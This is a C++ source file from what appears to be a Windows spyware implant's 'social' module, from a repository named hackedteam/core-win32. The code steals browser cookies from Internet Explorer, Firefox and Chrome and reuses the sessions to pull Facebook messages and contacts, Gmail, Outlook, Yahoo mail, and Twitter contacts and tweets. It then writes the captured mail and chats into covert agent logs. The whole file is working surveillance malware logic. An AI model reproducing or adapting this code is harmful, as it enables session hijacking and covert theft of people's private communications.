hackedteam/core-win32

View on GitHub
Social/SocialMain.cpp

Summary

Maintainability
Test Coverage

#define SLEEP_COOKIE 30 // In secondi
#define SOCIAL_LONG_IDLE 20 // In multipli di SLEEP_COOKIE (10 minuti)
#define SOCIAL_SHORT_IDLE 4 // In multipli di SLEEP_COOKIE (2 minuti)

#define _CRT_SECURE_NO_WARNINGS 1
#include <windows.h>
#include <stdio.h>
#include <string>
#include <time.h>
#include "..\common.h"
#include "..\LOG.h"
#include "..\JSON\JSON.h"
#include "..\bin_string.h"
#include "CookieHandler.h"
#include "SocialMain.h"
#include "NetworkHandler.h"

extern DWORD HandleGMail(char *); // Handler per GMail
extern DWORD HandleFBMessages(char *); // Handler per FaceBook
extern DWORD HandleFBContacts(char *); // Handler per FaceBook
extern DWORD HandleTwitterContacts(char *); // Handler per Twitter
extern DWORD HandleTwitterTweets(char *); // Handler per Twitter
extern DWORD HandleOutlookMail(char *); // Handle per Outlook Live
extern DWORD YahooMessageHandler(char *); // Handler per Yahoo
extern DWORD YahooContactHandler(char *); // Handler per Yahoo

extern int DumpFFCookies(void); // Cookie per Facebook
extern int DumpIECookies(WCHAR *); // Cookie per IExplorer
extern int DumpCHCookies(void); // Cookie per Chrome

extern wchar_t *UTF8_2_UTF16(char *str); // in firefox.cpp
extern BOOL IsCrisisNetwork();
extern DWORD social_process_control; // Variabile per il controllo del processo. Dichiarata nell'agente principale

extern BOOL bPM_IMStarted; // variabili per vedere se gli agenti interessati sono attivi
extern BOOL bPM_MailCapStarted;
extern BOOL bPM_ContactsStarted;

social_entry_struct social_entry[SOCIAL_ENTRY_COUNT];

// Simple ascii url decode
void urldecode(char *src)
{
    char *dest = src;
    char code[3] = {0};
    unsigned long ascii = 0;
    char *end = NULL;

    while(*src) {
        if(*src=='\\' && *(src+1)=='u') {
            src+=4;
            memcpy(code, src, 2);
            ascii = strtoul(code, &end, 16);
            *dest++ = (char)ascii;
            src += 2;
        } else
            *dest++ = *src++;
    }
    *dest = 0;
}

void JsonDecode(char *string)
{
    WCHAR *string_16, *ptr;
    DWORD size;
    std::wstring decode_16=L"";

    size = strlen(string);
    ptr = string_16 = UTF8_2_UTF16(string);
    if (!string_16) 
        return;
    JSON::ExtractString((const wchar_t **)&string_16, decode_16);
    if (wcslen(decode_16.c_str())>0)
        WideCharToMultiByte(CP_UTF8, 0, decode_16.c_str(), -1, string, size, 0 , 0);
    SAFE_FREE(ptr);
}

void LogSocialMailMessage(DWORD program, char *from, char *rcpt, char *cc, char *subject, char *body, BOOL is_incoming)
{
    HANDLE hf;
    char *raw_mail;
    DWORD field_len;
    struct MailSerializedMessageHeader additional_header;
    
    field_len = strlen(from) + strlen(rcpt) + strlen(cc) + strlen(subject) + strlen(body) + 256;
    raw_mail = (char *)malloc(field_len);
    if (!raw_mail)
        return;
    _snprintf_s(raw_mail, field_len, _TRUNCATE, "From: %s\r\nTo: %s\r\nCC: %s\r\nSubject: %s\r\nContent-Type: text/html; charset=UTF-8\r\n\r\n%s", from, rcpt, cc, subject, body);

    ZeroMemory(&additional_header, sizeof(additional_header));
    additional_header.Size = strlen(raw_mail);
    additional_header.Flags |= MAIL_FULL_BODY;
    if (is_incoming)
        additional_header.Flags |= MAIL_INCOMING;
    else
        additional_header.Flags |= MAIL_OUTGOING;
    additional_header.Program = program;
    additional_header.VersionFlags = MAPI_V3_0_PROTO;

    // XXX Devo settare la data
    //additional_header.date.dwHighDateTime = mail_date->dwHighDateTime;
    //additional_header.date.dwLowDateTime = mail_date->dwLowDateTime;

    hf = Log_CreateFile(PM_MAILAGENT, (BYTE *)&additional_header, sizeof(additional_header));
    Log_WriteFile(hf, (BYTE *)raw_mail, additional_header.Size);
    Log_CloseFile(hf); 

    SAFE_FREE(raw_mail);
    return;
}

void LogSocialMailMessageFull(DWORD program, BYTE *raw_mail, DWORD size, BOOL is_incoming, BOOL is_draft)
{
    HANDLE hf;
    struct MailSerializedMessageHeader additional_header;
    
    ZeroMemory(&additional_header, sizeof(additional_header));
    additional_header.Size = size;
    additional_header.Flags |= MAIL_FULL_BODY;
    if (is_incoming)
        additional_header.Flags |= MAIL_INCOMING;
    else
        additional_header.Flags |= MAIL_OUTGOING;
    if (is_draft)
        additional_header.Flags |= MAIL_DRAFT;
    additional_header.Program = program;
    additional_header.VersionFlags = MAPI_V3_0_PROTO;

    hf = Log_CreateFile(PM_MAILAGENT, (BYTE *)&additional_header, sizeof(additional_header));
    Log_WriteFile(hf, (BYTE *)raw_mail, additional_header.Size);
    Log_CloseFile(hf); 

    return;
}

void LogSocialIMMessageA(DWORD program, char *peers, char *peers_id, char *author, char *author_id, char *body, struct tm *tstamp, BOOL is_incoming) 
{
    WCHAR *peers_w;
    WCHAR *author_w;
    WCHAR *peers_id_w;
    WCHAR *author_id_w;
    WCHAR *body_w;

    peers_w = UTF8_2_UTF16(peers);
    author_w = UTF8_2_UTF16(author);
    peers_id_w = UTF8_2_UTF16(peers_id);
    author_id_w = UTF8_2_UTF16(author_id);
    body_w = UTF8_2_UTF16(body);

    LogSocialIMMessageW(program, peers_w, peers_id_w, author_w, author_id_w, body_w, tstamp, is_incoming); 

    SAFE_FREE(peers_w);
    SAFE_FREE(author_w);
    SAFE_FREE(peers_id_w);
    SAFE_FREE(author_id_w);
    SAFE_FREE(body_w);
}

void LogSocialIMMessageW(DWORD program, WCHAR *peers, WCHAR *peers_id, WCHAR *author, WCHAR *author_id, WCHAR *body, struct tm *tstamp, BOOL is_incoming) 
{
    bin_buf tolog;
    DWORD delimiter = ELEM_DELIMITER;
    DWORD flags = 0;

    if (is_incoming)
        flags |= 0x01;

    if (program && peers && body && author && peers_id && author_id) {
        tolog.add(tstamp, sizeof(struct tm));
        tolog.add(&program, sizeof(DWORD));
        tolog.add(&flags, sizeof(DWORD));
        tolog.add(author_id, (wcslen(author_id)+1)*sizeof(WCHAR));
        tolog.add(author, (wcslen(author)+1)*sizeof(WCHAR));
        tolog.add(peers_id, (wcslen(peers_id)+1)*sizeof(WCHAR));
        tolog.add(peers, (wcslen(peers)+1)*sizeof(WCHAR));
        tolog.add(body, (wcslen(body)+1)*sizeof(WCHAR));
        tolog.add(&delimiter, sizeof(DWORD));
        LOG_InitAgentLog(PM_IMAGENT_SOCIAL);
        LOG_ReportLog(PM_IMAGENT_SOCIAL, tolog.get_buf(), tolog.get_len());
        LOG_StopAgentLog(PM_IMAGENT_SOCIAL);
    }
}


void DumpNewCookies()
{
    ResetNewCookie();
    DumpIECookies(L"Microsoft\\Windows\\Cookies");
    DumpIECookies(L"Microsoft\\Windows\\Cookies\\Low");
    DumpIECookies(L"..\\Local\\Microsoft\\Windows\\InetCookies");
    DumpIECookies(L"..\\Local\\Microsoft\\Windows\\InetCookies\\Low");

    DumpFFCookies();
    DumpCHCookies();
}

void CheckProcessStatus()
{
    while(social_process_control == SOCIAL_PROCESS_PAUSE) 
        Sleep(500);
    if (social_process_control == SOCIAL_PROCESS_EXIT)
        ExitProcess(0);
}

void InitSocialEntries()
{
    for (int i=0; i<SOCIAL_ENTRY_COUNT; i++) {
        social_entry[i].idle = 0;
        social_entry[i].is_new_cookie = FALSE;
        social_entry[i].wait_cookie = TRUE;
    }
    wcscpy_s(social_entry[0].domain, FACEBOOK_DOMAIN);
    social_entry[0].RequestHandler = HandleFBMessages;
    wcscpy_s(social_entry[1].domain, GMAIL_DOMAIN);
    social_entry[1].RequestHandler = HandleGMail;
    wcscpy_s(social_entry[2].domain, FACEBOOK_DOMAIN);
    social_entry[2].RequestHandler = HandleFBContacts;
    wcscpy_s(social_entry[3].domain, TWITTER_DOMAIN);
    social_entry[3].RequestHandler = HandleTwitterContacts;
    wcscpy_s(social_entry[4].domain, TWITTER_DOMAIN);
    social_entry[4].RequestHandler = HandleTwitterTweets;
    wcscpy_s(social_entry[5].domain, OUTLOOK_DOMAIN);
    social_entry[5].RequestHandler = HandleOutlookMail;
    wcscpy_s(social_entry[6].domain, YAHOO_DOMAIN);
    social_entry[6].RequestHandler = YahooMessageHandler;
    wcscpy_s(social_entry[7].domain, YAHOO_DOMAIN);
    social_entry[7].RequestHandler = YahooContactHandler;

    // Azzera i cookie in shared mem relativi a IExplorer
    ZeroMemory(FACEBOOK_IE_COOKIE, sizeof(FACEBOOK_IE_COOKIE));
    ZeroMemory(TWITTER_IE_COOKIE, sizeof(TWITTER_IE_COOKIE));
    ZeroMemory(GMAIL_IE_COOKIE, sizeof(GMAIL_IE_COOKIE));
    ZeroMemory(OUTLOOK_IE_COOKIE, sizeof(OUTLOOK_IE_COOKIE));
    ZeroMemory(YAHOO_IE_COOKIE, sizeof(YAHOO_IE_COOKIE));
}

void SocialMainLoop()
{
    DWORD i, ret;
    char *str;

    InitSocialEntries();
    SocialWinHttpSetup(L"http://www.facebook.com");
    LOG_InitSequentialLogs();

    for (;;) {
        // Busy wait...
        for (int j=0; j<SLEEP_COOKIE; j++) {
            if (!is_demo_version)
                Sleep(1000);
            else
                Sleep(40);
            CheckProcessStatus();
        }

        // Se tutti gli agenti sono fermi non catturo nemmeno i cookie
        if (!bPM_IMStarted && !bPM_MailCapStarted && !bPM_ContactsStarted)
            continue;

        // Verifica se qualcuno e' in attesa di nuovi cookies
        // o se sta per fare una richiesta
        for (i=0; i<SOCIAL_ENTRY_COUNT; i++) {
            // Se si, li dumpa
            if (social_entry[i].wait_cookie || social_entry[i].idle == 0) {
                DumpNewCookies();
                break;
            }
        }

        // Se stava aspettando un cookie nuovo
        // e c'e', allora esegue subito la richiesta
        for (i=0; i<SOCIAL_ENTRY_COUNT; i++) 
            if (social_entry[i].wait_cookie && social_entry[i].is_new_cookie) {
                social_entry[i].idle = 0;
                social_entry[i].wait_cookie = FALSE;
            }
        
        for (i=0; i<SOCIAL_ENTRY_COUNT; i++) {
            // Vede se e' arrivato il momento di fare una richiesta per 
            // questo social
            if (social_entry[i].idle == 0) { 
                char domain_a[64];
                CheckProcessStatus();
                _snprintf_s(domain_a, sizeof(domain_a), _TRUNCATE, "%S", social_entry[i].domain);        
                 if (str = GetCookieString(domain_a)) {
                    if (!IsCrisisNetwork() && social_entry[i].RequestHandler)
                        ret = social_entry[i].RequestHandler(str);
                     else
                        ret = SOCIAL_REQUEST_NETWORK_PROBLEM;
                    SAFE_FREE(str);

                    if (ret == SOCIAL_REQUEST_SUCCESS) {
                        social_entry[i].idle = SOCIAL_LONG_IDLE;
                        social_entry[i].wait_cookie = FALSE;
                    } else if (ret == SOCIAL_REQUEST_BAD_COOKIE) {
                        social_entry[i].idle = SOCIAL_LONG_IDLE;
                        social_entry[i].wait_cookie = TRUE;
                    } else { // network problems...
                        social_entry[i].idle = SOCIAL_SHORT_IDLE;
                        social_entry[i].wait_cookie = TRUE;
                    }
                } else { // no cookie = bad cookie
                    social_entry[i].idle = SOCIAL_LONG_IDLE;
                    social_entry[i].wait_cookie = TRUE;
                }
            } else 
                social_entry[i].idle--;
        }
    }
}